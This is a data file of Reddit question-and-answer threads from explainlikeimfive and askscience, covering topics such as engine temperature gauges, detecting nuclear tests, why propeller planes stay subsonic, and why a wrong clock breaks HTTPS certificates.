{"q_id": "60fz5v", "title": "why do cars use a visual measurement for the engine's temperature rather than degrees?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/60fz5v/eli5_why_do_cars_use_a_visual_measurement_for_the/", "answers": {"a_id": ["df620vq", "df6221s", "df62e3a"], "score": [52, 3, 17], "text": ["This is a classic example of good instrumentation design. Must people don't know what a \"good\" temperature is, so showing the actual number requires them to learn and think more. A gauge that reflects meaningful analysis like cold, normal, hot,  and \"too hot\" is actually more useful to most operators.", "My car has both, a colour gauge and a temperature rating. I think its because most people don't know what temperature their engine is meant to be at, but they do know that a dial constsntly in the red is worth getting looked at.", "The average person doesn't know what their vehicles coolant temperature should be at, especially under certain conditions. \n\nBy using a basic high/low visual, many more people can understand many more gauges. People are used to reading a gas gauge, which is a basic high/low gauge. That means they can also read any other gauge using the same principle. After seeing every gauge for a while, a person knows how each one should be. If it's outside of the norm, there's an issue. \n\nNow, that last statement. Knowing what goes where to identify a problem. You *could* just tack on numbers to these gauges. But when you start switching vehicles, now you get a cause for concern. \n\nExample A: voltage \n\nIf I go drive my 4.7L by dodge, I know I charge about 14.5v. Now if I go hop into a 6.0 powerstroke and see it charges at ~13.5, sometimes lower, I'd be concerned. But these dummy gauges show the needle in the middle, so I know it's in the ok range. \n\nExample B: Coolant temp\n\nI drove a 2.5L by Chevy for a while, about 8 months. The little thing runs at 190*  I moved up to my 4.7L, and it runs 210 perfectly. If I was not very smart and only saw a digital display while making that change from one vehicle to the next, I'd be concerned about my new - to - me vehicle is about to overheat. But the gauge is right in the middle, so we are ok.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "t2utf", "title": "Does drinking lots of water after eating a bag of chips help to dilute the effects done to the body?", "selftext": "My mom always told me to drink more water after eating a bag of chips to make the salt content \"less concentrated\". It's the same advice with sugary drinks, I was always asked to dilute syrup with lots of water to make it \"less sweet\". Does drinking water help in any way?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/t2utf/does_drinking_lots_of_water_after_eating_a_bag_of/", "answers": {"a_id": ["c4j5nuk"], "score": [2], "text": ["It helps with digestion of the food but nothing else, you're still getting the same amount of sodium and sugar"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19qx2d", "title": "Could a sun many times as large as our sun have an \"earth-like\" life-sustaining planet many times as large as our Earth, or are there forces at work here that don't scale up like that?", "selftext": "I'm just curious whether there could be \"super\" star systems that are effectively the same as ours, just with all the major objects within them sized up a whole bunch.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19qx2d/could_a_sun_many_times_as_large_as_our_sun_have/", "answers": {"a_id": ["c8ql9tv", "c8qm0ay", "c8qnc2f", "c8qnngc", "c8qogjs", "c8qro0i"], "score": [60, 35, 4, 10, 15, 2], "text": ["Remember that just because the star itself is many times larger than the sun doesn't mean the planet has to be, it would just have to be farther away. ", "The issue with super massive stars is their lifespans are much too small. The higher the mass a star is the shorter its life, above a certain size the star will not have a stable enough output for a long enough time for complex life to form.", "I think the most important question from this involves how the EM emissions wavelength ratios from stars change with scale.\n\n**EDIT**: To clarify, I am asking for the ratio of low to high energy EM waves. If this ratio leans towards higher energy EM waves with increasing size, there may be no distance at which life is sustainable. ", "Wouldn't gravity be a factor as well? There's only so much stress an organic structure can take no? It would seem complex life would have a very difficult time developing.", "No. The problem is really big stars live fast and die hard. It's entirely possible to have a \"super Earth\" orbiting a Blue Giant star, but if the star goes super nova after only 20 million years, there's not going to be much time for life to get started... or even the planet to fully form for that matter.", "If the planet is too light, gravity will not be able to retain an atmosphere. Our current guess is that life cannot develop and thrive in a vacuum.\n\nIf the planet is too heavy, the sort of atmosphere it will hold may be vastly different than Earth. But pressure is not a major issue for life underwater, and they are not as sensitive to atmospheric content either.\n\nSo: if the planet is in the habitable zone (i.e temperature allowing continuous existence of liquid water) and it is big enough to retain an  atmosphere, then size should not be a critical factor is determining habitability.\n\nVenus is at the inner-edge of the habitable zone, and has enough mass to hold an atmosphere. But things developed very differently there, and a massive greenhouse effect has raised temperatures far beyond the habitable range. So we know size isn't everything.\n\nSide note: Super-massive stars may not be as stable as smaller ones, and we think life needs a very steady consistent flow of energy to develop. But we're not sure.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3ngnm4", "title": "how can the canadian senate be abolished?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ngnm4/eli5_how_can_the_canadian_senate_be_abolished/", "answers": {"a_id": ["cvnwfwv", "cvnwlzc", "cvny9a5"], "score": [20, 7, 3], "text": ["Option 1: The 7+50 rule. You need the approval of the federal government, the Senate, and at least seven provinces representing 50% of the population.  \n\nOption 2: Unanimous approval of the federal and provincial governments.", "In 2014 the Supreme Court ruled that all provinces must approve to removed the senate, which will basically never happen. Changing the constitution is a little different iirc you need 7 provinces that make up at least 50% of the population. \n\nEdit: Something I got wrong", "(from an Australian who knows nothing about Canada) Why do you want to get rid of it? From wiki it seems it's unelected and probably lacks a mandate, but couldn't you just switch to a democratic system? In Aus the senate is normally hated by governments as they tend to block extremist policies - which is kind of why they're there and probably a good thing in the end."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7sx3kn", "title": "Wide hips are considered a sign of fertility and ease of birth - do we have any evidence to support this?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7sx3kn/wide_hips_are_considered_a_sign_of_fertility_and/", "answers": {"a_id": ["dt84pzl", "dt88d1w", "dt8aaum", "dt8bk09", "dt8l6uj", "dt8lg6k", "dt8q1n6", "dt8rqdv", "dt8s3tc", "dt8v5q8", "dt8x1mu", "dt8zhma", "dt95zre", "dt9iy8i", "dt9l4x4", "dt9mw3y", "dt9ohq7", "dt9x8ik", "dt9xure"], "score": [266, 7195, 914, 52, 8, 67, 18, 10, 829, 2918, 3, 6, 10, 2, 3, 3, 3, 2, 2], "text": ["Maternal depletion syndrome isn't as common in developed countries, but the idea is this:\n \nWomen with adequate or positive nutrition during pregnancy will either have no or positive change in weight from before preganacy to the post-partum period, and generally have healthy offspring. This is because even though producing a baby is metabolically expensive, there's a period of increase in \"metabolic efficiency.\" For women with inadequate nutrition this period is much shorter and pregnancy results in a loss of fat stores. With extremely inadequate nutrition this can continue during lactation. If these women become pregnant again before they've been able to replete fat stores the the energy for the next pregnancy, and reproductive success will be lower. \n\nThere's some evidence that fat distribution changes with parity (the number of times a woman has given birth) from hip circumference to more central deposits, even in developed countries(PMID: 16596596). \n\nHuman reproductive strategy (many children and low investment, few children high investment) varies somewhat over time, and culture. One can imagine that historically a woman with large hip circumference was likely to have adequate or near adequate nutrition/not be maternally depleted, and therefore be more likely to both survive pregnancy, and produce a surviving infant. \n\nIn the US, currently, most people have access to adequate or more than adequate calories, so it probably doesn't tell you much, though. \n\n", "[Regular use of Caearean sections has a measurable impact on humans](_URL_0_)\n\n >  Researchers estimate cases where the baby cannot fit down the birth canal have increased from 30 in 1,000 in the 1960s to 36 in 1,000 births today. Historically, these genes would not have been passed from mother to child as both would have died in labour.", "Not sure about ease of birth, but waist-to-hip ratio is generally correlated with various measures of health:\n\nFrom same author:\n_URL_1_\n_URL_2_\n\nChild cognitive ability correlated with mother waist-to-hip ratio:\n_URL_3_\n\n_URL_0_", "Currently in a reproductive endocrinology class and we just recently went over this to some extent. \nLower body fat around the hips and thighs is known as subcutaneous adipose tissue (SAT) SAT production is stimulated by estrogen. Estrogen is very important in regulating the female reproductive cycle. This fat can indicate a healthy reproductive system which means that a women is fertile and is in a sort of hormonal balance. Essentially, wide hips are one indication of fertility, but keep in mind that too much of a good thing is bad. If a women\u2019s puts on too much fat, her reproductive system will be triggered to shut down to some extent because can cause problems with a fetus and does not indicate a biologically fit parent. \nI don\u2019t really know about the ease of birth part. My best guess is that maybe a healthy reproductive system means healthy muscles in the area that might make delivery a little easier. \nAlso, I\u2019m an undergraduate student, not a professional. I believe this is all accurate but I\u2019m no expert. ", "I couldn't find a source that directly relates only to fertility, but wide hips (specifically that hourglass figure we all know and love) [correlates with general health and suggests hormonal balance](_URL_0_).\n\nWhich makes sense, I mean you could extrapolate and claim that WHR correlates with general wellness and hince, generally healthy women are fertile, but that's making a leap over other factors that contribute to fertility. \n\nBut I think the general answer is an easy \"yes\" noting that its a bit of a simplification to get there i.e. a general answer for a general question. ", "People are also forgetting that estrogen makes collagen more lax in a woman\u2019s body which also aids in child birth. Narrow hips and less stretchy tissue makes it harder for the birth canal to accommodate vaginal birth. \n\nEdit: I meant progesterone not estrogen ", "Now there are different concepts regarding easy baby bearing.. First, it's not the type of waist that is considered good for birth it's the type of whole body.. second, there are 4 known types of bony pelvis when it comes to pelvic outlet.. gynaecoid, android, anthropoid and platypelloid pelvis.. gynaecoid is supposed to be more supportive for easy childbirth..\n\nIf someone is talking about wide waist in terms of fat distribution ution, fat just doesn't help, it just makes it difficult to give birth..", "Depends on body frame. Here's a relevant study : _URL_0_\n\nOldie but a goodie", "It's shocking to me how many people on here assume the question is referring to FAT content of the hips, when I thought it was common knowledge that females naturally have wider pelvises/hips for the sole purpose of giving birth! \n[Difference between male  &  female skeleton](_URL_0_) \n\nThe link doesn't answer the question directly, but essentially the wideness of the hips themselves may not directly correlate with ease of birth but rather the wideness of the pubis bones (where the hip joints meet, at the bottom) would most likely!", "In obstetrics pelvimetry is used assess whether a women's pelvis is thought to be clinically adequate for vaginal birth. Typically the physician measures the diagonal conjugate (symphysis pubis to sacral promontory) and estimates interspinous distance (distance between ischial spines). Generally the limiting dimension for delivery is considered to be the ischial spines. The true limiting factors anatomically for vaginal birth are the bony parts of the pelvis that can't be seen externally. So someone with wider hips won't necessarily guarantee that they will have an easier birth. Not to mention the other two P's that affect ease of birth. The passenger (size of baby) and the powers (strength of uterine contractions). ", "I thought that wider hips are a secondary gender characteristic?\n\nI.e., due to estrogen levels during puberty, women's hips tend to grow wider. So this would kind of make males pre-programmed to identify potential mates (women) by these characteristics (same as with boobs)?\n_URL_0_", "Finished my OB (L & D and post-partum) rotation in nursing school. Fertility I am not sure. I am 150% sure that it helps with vaginal deliveries. In fact, some pelvic passages are so small, a baby's head won't fit even if in optimal presentation (ROA or LOA). You have to cesarean section these patients. \n\nSource: We had to c-section a patient who wanted a vaginal delivery because she had an anthropoid pelvis.", "There is anatomical evidence to support a relationship between hips and fertility (the likelihood of being able to reproduce successfully), this is most obvious when examining pelvic structure of males and females. There are benefits of narrow hips which include having weigh distribution in more if a straight line from foot to hip, and that makes for better running, walking, jumping, etc.  The wide hip trait appears only in females, suggesting that there may be good reason for it. This is more complex than simply saying \u2018wider\u2019 because babies take a trip during birth that is in three dimensions, so wide should refer to left-right and front-back at all places where size is a limitation.  For example, the pelvic outlet is one of these openings comprised (keep in mind that there are other things that get in way like muscle, ligaments, skin, etc.) of the space from the coccyx to the pubic symphysis and the distance between the right and left ischial tuberosity as seen in these images: _URL_0_. So, wider hips can translate into less likelihood of complications during childbirth, assuming that everything else is the same.  Also keep in mind that relaxin, a hormone that circulates during pregnancy, acts to relax joints that are mostly fixed, such as the pubic symphysis.  These joints don\u2019t return to their original angles sometimes, as indicated by mothers with feet too big for their older shoes and hips that got wider. Therefore, in times past where medicine was unable to assist mothers and children during birth (we should recall that pregnancy was not always a blessing due to high rates of mother and infant mortality), a mother with wide hips was strong evidence of previously successful delivery(ies) and thus high fertility.  A wide-hipped bachelorette would bring about similar conclusions of high fertility. ", "Actually read somewhere that the size and shape of the Pelvis, as seen from the \"outside\" bears no relation at all to the size of the aperture which accommodates the birth canal on the inside. So \"A good pair of child-bearing hips\" are not necessarily what they seem. ", "Learned about this in Anatomy class today. The pelvic girdle makes up our hip bone. The true pelvis, which is the main inner opening of the pelvic girdle, is known to be larger in women than men, precisely to allow the passage of the baby\u2019s head. The larger the true pelvis, the easier it is to give birth without complications. I\u2019m not sure if it impacts fertility directly, but having a wider hip bone definitely makes natural child birth easier, because the child is passing through a wider pelvic canal. \n\nWill add link when I am in a state to find evidence based articles for you (currently middle of the night from where I am writing).", "Actually it is not the width of the hips that indicates fertility, but the waist to hip ratio. As I remember it a ratio of 0,7 is what men finds the most attractive. This ratio is also correlated with a staggering long list of health benefits including healthy estrogen levels.\n\nIf you go to Wikipedia, on waist to hip ratio you will find references to a long list of studies linking the 0,7 ratio to health and fertility.", "Here is evidence from a recent study that looks at Waist Hip Ratio (WHP) and fertility, specifically the number of children across seven traditional societies [here\u2019s a PubMed link](_URL_1_).\n\nFor those who want a tldr; version, [here you go](_URL_0_) from Psychology Today.\n\nFrom the second link:\n\n > \tHowever, even when age and BMI are normalized, the researchers observed a subtle, but direct linear relationship between waist-hip ratio and number of children", "Honestly, evolution doesn't tell us why a trait is helpful or why we find certain things attractive. For instance, in sword fin fish the females tend to prefer men with longer fins. Longer fins doesn't make it easier to survive but when females see a dude with a longer fin, it just gets their engine GOING.\n\nMy point is that we like to think that there is a reason for why we find certain things attractive, but we just do. Why do men generally prefer women with small waists and larger waists? Well, we like it because we do. There really aren't any other alternative reasons here that can be proven scientifically. We can try to explain it away but they are just theories. \n\nSometimes some traits do have pretty obvious purposes but we'd be mistaken to try and force all evolutionary selected for traits into the same category.", "_URL_0_\n\nIn this case, wider hips will reduce complication s in a vaginal birth. Most young girls that are not fully develop will have complications at birth because the pelvic isn't wide enough. In most cases the fetus lie can be transverse and that will call for a c-section. Also , the position of the fetus in the video is head first which is good for vaginal delivery because if it was breech first there would be other complications and that would call for c-section. In conclusion, wider hips does not impact fertility because fertility is determine from how functional the hypothalamus is to how functional your ovaries are and if you have easy passage through the fallopian tubes e.g. past medical history of chlamydia (causes scarring of tubes). Then you have to consider how sustainable the endometrium is for implantation of the ovum e.g. endometriosis . Ofcourse, this is only playing the part of the women role in fertility. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.bbc.com/news/science-environment-38210837"], ["https://www.sciencedirect.com/science/article/pii/S0191886904003617", "http://psycnet.apa.org/record/1993-45219-001", "http://faculty.bennington.edu/~sherman/sex/whr-singh2002.pdf", "https://www.sciencedirect.com/science/article/pii/S1090513807000736?via%3Dihub"], [], ["https://www.psychologytoday.com/blog/beastly-behavior/201706/the-relationship-between-waist-hip-ratio-and-fertility"], [], [], ["https://www.ncbi.nlm.nih.gov/pubmed/4084467"], ["http://www.daviddarling.info/encyclopedia/S/skeleton_male_female_differences.html"], [], ["https://en.wikipedia.org/wiki/Puberty#Body_shape,_fat_distribution,_and_body_composition"], [], ["http://slideplayer.com/slide/2790499/10/images/7/PELVIC+INLET+PELVIC+OUTLET.jpg"], [], [], [], ["https://www.psychologytoday.com/blog/beastly-behavior/201706/the-relationship-between-waist-hip-ratio-and-fertility", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5431669/"], [], ["https://youtu.be/ze53Ep-gwBQ"]]}
{"q_id": "62wsja", "title": "architects or facilities managers of reddit: can you explain why some pro/college basketball courts at arenas have to be elevated above the bench and some do not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/62wsja/eli5architects_or_facilities_managers_of_reddit/", "answers": {"a_id": ["dfpo0gx"], "score": [2], "text": ["Not sure what you are talking about. But a lot of basketball teams play with their court laid on top of an ice rink."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4e11nz", "title": "If electric currents make magnetic fields, and electrons in atoms are constantly moving, why isn't everything magnetic?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4e11nz/if_electric_currents_make_magnetic_fields_and/", "answers": {"a_id": ["d1w5jl3"], "score": [11], "text": ["Every single atom has a magnetic moment. In materials however the direction of this magnetic moment is (generally) randomly distributed, resulting in no net magnetic moment of the material.\n\nMagnetic materials can realign their atoms giving a uniform magnetic moment in the same direction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bfheqr", "title": "how does music like heavy metal, and other sub genres of that, seem to have an effect on our performance in either sports or working out?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bfheqr/eli5_how_does_music_like_heavy_metal_and_other/", "answers": {"a_id": ["eldr755", "eldt3vs", "ele9bz2"], "score": [5, 4, 3], "text": ["Music like that can get you pumped up and excited. Getting pumped up and excited activates you adrenaline response and makes you  < insert sport >  harder.", "Music affects your emotional state in specific ways, and your emotional state has a hand in your physical performance. Heavy metal in some people can make them feel more aggressive, a trait that is often good in sports. \n\nAlternatively, classical music tends to calm people down and make them feel tranquil, making it useful for studying for longer periods of time. Lo-fi music tends to make the brain look for patterns subconsciously, also making studying easier for many.", "Genres with higher BPMs (i.e. techno) make you drive faster, while folk music (particularly iron  &  wine) makes you sleep. the former is ideal for narcoleptics and the latter for insomniacs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ceytrv", "title": "why powerful prop planes (such as the p51-d) can't break the sound barrier?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ceytrv/eli5_why_powerful_prop_planes_such_as_the_p51d/", "answers": {"a_id": ["eu5wm51", "eu5xxln", "eu693yk"], "score": [17, 4, 7], "text": ["I assume that by \"break the sound barrier\", you're referring to the plane as a whole.  But the propeller is moving much faster than the rest of the plane.  So long before the plane itself approaches the sound barrier, the propeller blades are already past it.  Even worse, the tips of the blades are moving faster than the part further in, so that means part of the blade is moving faster than the speed of sound and part of the blade is moving slower than it.  This causes *horrible* shockwaves that can destroy the propeller.", "Generally speaking, prop driven aircraft are not aerodynamically efficient enough to travel at supersonic speeds. The prop adds a tremendous amount of drag at high speeds. That is not to say that it cannot be done, there is just no reason to do it. \n\n & #x200B;\n\nThere was one exception, the XF-88B which was a hybrid jet/turboprop which could break the sound barrier in a dive. \n\n & #x200B;\n\n\\-the bootlicker", "It's due to the phenomenon of [drag divergence](_URL_2_). When an aircraft exceeds the critical Mach number, part of the airflow becomes supersonic, and this leads to the formation of shock waves. These shock waves disturb the airflow over the wing, leading to a very rapid increase in drag as the aircraft approaches the speed of sound. The plane simply does not have enough power to accelerate past this point, and what's worse, the plane has a [strong tendency to nose dive](_URL_0_) because the shockwave alters the pressure distribution on the wing. This phenomenon resulted in the crash of a prototype [P-38 Lightning](_URL_1_), one of the first aircraft to encounter the \"sound barrier\".\n\nTo allow a plane to fly at supersonic speeds, the airframe needs to be specifically designed to address the difficulties associated with supersonic flight. This is why supersonic aircraft usually have highly swept triangular wings - they are inefficient for subsonic flight, but better suited for supersonic speeds. They also have a fuselage design that adheres to the [area rule](_URL_3_), and a [supercritical airfoil](_URL_4_) which help to limit the increase in drag when accelerating past the speed of sound. And they have plenty of thrust, usually supplied by jet engines."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Mach_tuck", "https://en.wikipedia.org/wiki/Lockheed_P-38_Lightning#High-speed_compressibility_problems", "https://en.wikipedia.org/wiki/Drag-divergence_Mach_number", "https://en.wikipedia.org/wiki/Area_rule", "https://en.wikipedia.org/wiki/Supercritical_airfoil"]]}
{"q_id": "3lvswf", "title": "why did peanut executives and company workers get sentenced to jail for knowingly sending salmonella infected product while gm executives did not get criminally charged for knowingly putting a defective product on the road resulting in deaths?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3lvswf/eli5_why_did_peanut_executives_and_company/", "answers": {"a_id": ["cv9qzqy", "cv9xqii", "cv9yrma", "cva1p3h", "cva2755"], "score": [8, 97, 61, 15, 5], "text": ["What GM product are you referring to? The devil is almost always in the details. For someone to have to go to jail they would have to knowingly put out an unsafe product, I do not know of GM doing this. ", "Probably because some random Peanut executives have less influence than executives from big ass General Motors. No, seriously, that's probably the case.", "The investigator basically stated that there was no one person who greenlit production despite the fault, that no one person knew the whole story.  Good ELI5 here:\n\n_URL_0_", "Because there's no specific law making it a criminal offense to do what they did.  There are more strict specific laws governing the food industry.\n\nIn true ELI5 terms, it's like when your mom has a rule that says \"No running in my kitchen!\" But you figure you can't get in trouble because you're running in *grandma's kitchen*.\n\nSource: [NY Times](_URL_0_)", "It's for the same shaky reasoning that meant no bankers went to jail for the banking collapse, even though that fucked over millions of people. Or why lynch mobs can get away with it. Or why people go looting during riots.\n\nIt's really hard to say who is at fault when a large number of people can be said to be responsible. No one person at GM was wholly responsible, everyone involved made some minor error of judgment that added up to a major fuckup.\n\nAt that peanut plant, there were 2 guys that were completely responsible for falsifying data to show their product was safe. Since the law has to prove beyond reasonable doubt that a crime was committed in order to send someone to jail, it usually requires a \"mastermind\" for these sort of corporate crimes. In the peanut case, there very definitely was evidence to show this sort of wilful conspiracy. In the GM case there was not."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://jalopnik.com/why-gm-avoided-prosecution-over-the-ignition-switch-def-1731625161"], ["http://mobile.nytimes.com/2015/07/20/business/laws-hinder-prosecutors-in-charging-gm-employees-in-ignition-defect.html?referrer=&amp;_r=0"], []]}
{"q_id": "3zpico", "title": "How can it be determined if North Korea really detonated a Hydrogen bomb?", "selftext": "Could it be measured as an increased content of certain isotopes in the atmosphere in the coming days/weeks? Further analysis of the seismic data? Emitted radiation? Other ways?\n\nSource: _URL_0_", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3zpico/how_can_it_be_determined_if_north_korea_really/", "answers": {"a_id": ["cynzgad", "cyo3uun", "cyoz5xv"], "score": [20, 11, 4], "text": ["[This video](_URL_6_) does a good job of explaining how nuclear testing can be detected. In short, nuclear weapons release large amounts of energy and the shock waves can travel very long distances. They can be picked up using different technologies depending upon the medium/type of testing that is taking place. \n\n* [infrasound](_URL_3_) monitors can be used to detect atmospheric tests.   \n* [hydrophones](_URL_1_), particularly those used in arrays like [SOSUS](_URL_5_), can be used to detect underwater/marine tests.  \n* [seismometers](_URL_0_), normally used to study/monitor earthquakes and volcanos, can similarly detect shock waves perpetuating through the earth.\n\nUsing signals from these technologies, the source location of the shock wave can be triangulated. Continuous air sampling can be used to detect radioactive isotopes that confirm that the source of the signal is indeed nuclear. Additionally, nuclear devices are known to emit [EMP](_URL_2_) that can also be detected using sensors. \n\nE: [Here](_URL_4_) is the blast from this event being picked up on a seismograph. ", "Follow-up question: seeing a lot of noise saying that the yield is too low for it to be a hydrogen-bomb; what is the possibility that they have actually succeeded at making a thermonuclear weapon with a lower yield than any before it? \n\nIt seems foolish to just say \"we haven't done it, therefore they can't have done it\" without taking a close look. ", "Summoning /u/restricteddata, who is an expert in nuclear weapons and their history...\n\nA nuclear detonation makes a distinctive seismic \"sound\" through the crust of the Earth. If you've ever heard a car crash, you know it's very different from the sound of a firearm discharging. Same with Earthquakes vs. nuclear explosions. Through seismic monitoring, you can get a fairly precise location for an event, and a good estimate on the amount of energy involved.\n\nA underground nuclear detonation will allow the escape of some amount of the fission or fusion products of the detonated weapon as gases or dust-particles that can travel in air. Even rocky ground is porous, and a nuclear explosion tends to make a lot of heat, gas, and dust that all pushes out through the soil.\n\nWhen a nuclear fission or fusion takes place, new elements are created from the device's fuel, often these are radioactive isotopes that are measurable by their chemical properties and radioactivity. Many of these elements do not occur on the Earth naturally, which makes them even easier to detect.\n\nBy collecting and measuring these fission and fusion products and their properties and proportions, you can get quite an accurate idea of the starting composition of the nuclear fuels, and some of the design features of the device.\n\nNorth Korea is not a particularly large country, the military intelligence agencies of the U.S., Japan, South Korea, China, and probably Russia are all flying drones or specialized intelligence ships and aircraft around the borders of the DPRK as downwind as they can of the suspected test site, sampling the air, running giant vacuum cleaners to collect particles, and carrying EM radiation monitoring instruments, building up a picture of what happened.\n\nI have a generalized understanding of the process, but not enough for a more thorough answer, hopefully restricteddata can weigh in."]}, "title_urls": [], "selftext_urls": ["http://edition.cnn.com/2016/01/06/asia/north-korea-hydrogen-bomb-test/index.html"], "answers_urls": [["https://en.wikipedia.org/wiki/Seismometer", "https://en.wikipedia.org/wiki/Hydrophone", "https://en.wikipedia.org/wiki/Nuclear_electromagnetic_pulse", "https://en.wikipedia.org/wiki/Infrasound", "http://ds.iris.edu/ds/nodes/dmc/tools/event/5170265", "https://en.wikipedia.org/wiki/SOSUS", "https://www.youtube.com/watch?v=daZ7IQFqPyA"], [], []]}
{"q_id": "2k7i2r", "title": "Is it possible to Melt carbon, and if how? and if not why ?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2k7i2r/is_it_possible_to_melt_carbon_and_if_how_and_if/", "answers": {"a_id": ["clinoox"], "score": [191], "text": ["Yup, it is. Here's a review about the topic:  \n_URL_0_  \nYou need very hot conditions in the 4,000-5,000 Kelvin range and atmospheric pressures approaching *at least* 100 times atmospheric pressure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedirect.com/science/article/pii/S0008622305000291"]]}
{"q_id": "1huih7", "title": "how thousands of cows go through the slaughter house a year and yet leather products are still so expensive.", "selftext": "With supply and demand, shouldn't the theoretical high supply of raw leather from cows killed for meat processing drive the price of leather goods down?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1huih7/eli5_how_thousands_of_cows_go_through_the/", "answers": {"a_id": ["cay1skq", "cay36e8"], "score": [7, 10], "text": ["Most cow hide isn't usable as high grade leather. What material does work takes effort to tan and cure.\n\nPlus, even if there is a good supply of leather, people will still pay premiums for it, so retailers get away with charging more for it.", "you're not just paying for the cow hide, you're paying for the cost of turning that cow hide into tanned leather, and then turning that leather into the final product. \n\nlet's just say it takes a lot of work to turn cow skin into wallets and purses.\n\nfor an example, cotton is cheap, but when you buy a cotton shirt, you're paying for the effort that it took to turn it into a shirt and not just the cotton that the shirt's made of."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "afhxze", "title": "if you move from the back of a speed train, to the front, is your body moving at a faster speed than the train?", "selftext": "Stupid question remove if wrong sub or recommend proper sub", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/afhxze/eli5_if_you_move_from_the_back_of_a_speed_train/", "answers": {"a_id": ["edyqic6", "edyqp6x", "edys00o"], "score": [38, 8, 5], "text": ["All motion is relative, everything from standing still to lightspeed, it can only be measured against something else. You are moving relative to the train at less than the train is moving relative to the ground. But you are moving relative to the ground faster than the train is.", "Your speeds add up so in pretty much any frame of reference, you\u2019ll be moving faster indeed.\n\nE.g. to someone sitting on the train of course you are moving faster, as the train stands still (relative to the person sitting on it) and you are moving. \n\nNote that with proper isolation and truly smooth movement of the train, it\u2019s impossible to tell even if it\u2019s moving or standing still relative to the track.", "Think about walking up an uphill escalator and feeling like youre miraculously speeding up a flight of stairs. Pretty much a similar scenario haha"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "e3tqqe", "title": "what discoveries did the famous mathematician euler actually find?", "selftext": "So, supposedly the mathematician Euler discovered so much about math that we doesn\u2019t name a lot of his proofs in his name, but from the one who discovered it second to him! But what did he actually discover? Is it ELI5-able?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e3tqqe/eli5_what_discoveries_did_the_famous/", "answers": {"a_id": ["f94yl3x"], "score": [5], "text": ["Euler did **a lot** for modern mathematics and some of his work is pretty abstract. His work on graph theory, for example, is pretty hard to explain at a low level simply because the topic itself is pretty abstract. It does have many useful application, though, e.g. in computer science, machine learning, and AI.\n\nHis most famous contribution though, has to be either **the concept of a function**, or **Euler's formula** for complex numbers.\n\nBasically, for the first one Euler formalized, named, and established much of the notation we use when we're looking at some property or physical quantity and **how it changes and accumulates over time**. This is the branch of mathematics know as analysis - derivatives and integrals belong in here.\n\nThe second one provides a way of transferring pretty much any trigonometric expression or relationship to a complex exponential form. This might not sound very astounding but anyone who's done a bit of complex analysis can assure you these complex exponentials are **way easier** to work with. Since pretty much **any** signal, oscillation, or varying quantity or whatever can be modeled with a finite sum of trigonometric functions using Fourier transform, Euler's formulas helps us turn that model into something we can easily manipulate.\n\nBasically, it makes a lot of otherwise hard (or even analytically unsolvable) math easy. There's really no understating how much our modern technology depends on this. Pretty much every single piece of electronic you have ever encountered has been facilitated through Euler's work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4fn2h3", "title": "why can't you access some websites if your clock is wrong?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4fn2h3/eli5why_cant_you_access_some_websites_if_your/", "answers": {"a_id": ["d2a8im5", "d2a913h"], "score": [4, 9], "text": ["Set your PC clock to the current date and time whenever you power up. Web sites use cookies and code to track your \"session\" with them and perform security operations. Certain steps of those operations may depend on your local clock to see if something has \"expired\". If your clock is way off things may seem to be expired and sites may force you to re-authenticate or start over. ", "Secure communications (using a technology called TLS or SSL), which you may be familiar with through http**s**, requires the server to authenticate itself with a certificate*. This certificate has a validation date and an expiry date. If a server gives you a certificate and your clock says that it has either expired in the past, or has yet to become valid your computer will reject it because it is not valid. The lifespan of a certificate is two or three years at most, so when your computer comes on and thinks it's 1970, every secure website you go to will seem to be giving you a certificate that's not valid for another forty years.\n\n\\* Some forms of TLS can be run \"anonymously\" without a certificate, but https in particular is very strict about it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
